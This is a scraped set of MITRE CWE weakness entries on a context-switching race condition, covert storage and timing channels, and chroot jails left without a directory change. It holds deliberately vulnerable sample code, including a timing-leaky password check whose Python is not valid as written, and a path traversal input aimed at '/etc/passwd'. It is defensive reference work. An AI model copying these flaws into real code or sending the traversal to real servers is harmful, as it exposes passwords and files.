NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.557Concurrency Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Modify Application Data; Read Application Data

+ Observed Examples
ReferenceDescription
Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)
Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts **
XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain.
Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
This weakness can be primary to almost anything, depending on the context of the race condition.
Resultant
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Can overlap signal handler race conditions.

Research Gap

Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERContext Switching Race Condition
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Description, Other_Notes, Relationship_Notes, Weakness_Ordinalities
2010-12-13CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-514: Covert Channel

Weakness ID: 514
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.
+ Extended Description
Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1229Creation of Emergent Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.385Covert Timing Channel
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.515Covert Storage Channel
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.205Observable Behavioral Discrepancy
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Application Data; Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

(bad code)
Example Language: Python 
def validate_password(actual_pw, typed_pw):
if len(actual_pw) <> len(typed_pw):
return 0

for i in len(actual_pw):
if actual_pw[i] <> typed_pw[i]:
return 0

return 1

Note that in this example, the actual password must be handled in constant time as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

+ Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR Partial

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.968SFP Secondary Cluster: Covert Channel
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1415Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Theoretical

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrCovert Channel
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Other_Notes, Theoretical_Notes
2009-07-27CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2013-02-21CWE Content TeamMITRE
updated Description, Relationships, Theoretical_Notes
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Maintenance_Notes
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-515: Covert Storage Channel

Weakness ID: 515
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.
+ Extended Description
Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.514Covert Channel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.417Communication Channel Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Covert storage channels may provide attackers with important information about the system in question.
Integrity
Confidentiality

Technical Impact: Read Application Data

If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

+ Potential Mitigations

Phase: Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.968SFP Secondary Cluster: Covert Channel
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1415Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrStorage
CLASPCovert storage channel
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Description
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Maintenance_Notes
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-385: Covert Timing Channel

Weakness ID: 385
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.
+ Extended Description

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.514Covert Channel
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.208Observable Timing Discrepancy
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.417Communication Channel Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Other

Technical Impact: Read Application Data; Other

Information exposure.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

(bad code)
Example Language: Python 
def validate_password(actual_pw, typed_pw):
if len(actual_pw) <> len(typed_pw):
return 0

for i in len(actual_pw):
if actual_pw[i] <> typed_pw[i]:
return 0

return 1

Note that in this example, the actual password must be handled in constant time as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

+ Potential Mitigations

Phase: Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

Phase: Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

Phase: Implementation

It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.968SFP Secondary Cluster: Covert Channel
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1415Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrTiming
CLASPCovert Timing Channel
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Common_Consequences, Description
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2022-10-13CWE Content TeamMITRE
updated Maintenance_Notes
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-243: Creation of chroot Jail Without Changing Working Directory

Weakness ID: 243
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.
+ Extended Description
Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Background Details
The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Operating Systems

Class: Unix (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Files or Directories

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

Consider the following source code from a (hypothetical) FTP server:

(bad code)
Example Language:
chroot("/var/ftproot");
...
fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an attempt to prevent access to files outside of /var/ftproot. But because the server does not change the current working directory by calling chdir("/"), an attacker could request the file "../../../../../etc/passwd" and obtain a copy of the system password file.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.979SFP Secondary Cluster: Failed Chroot Jail
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

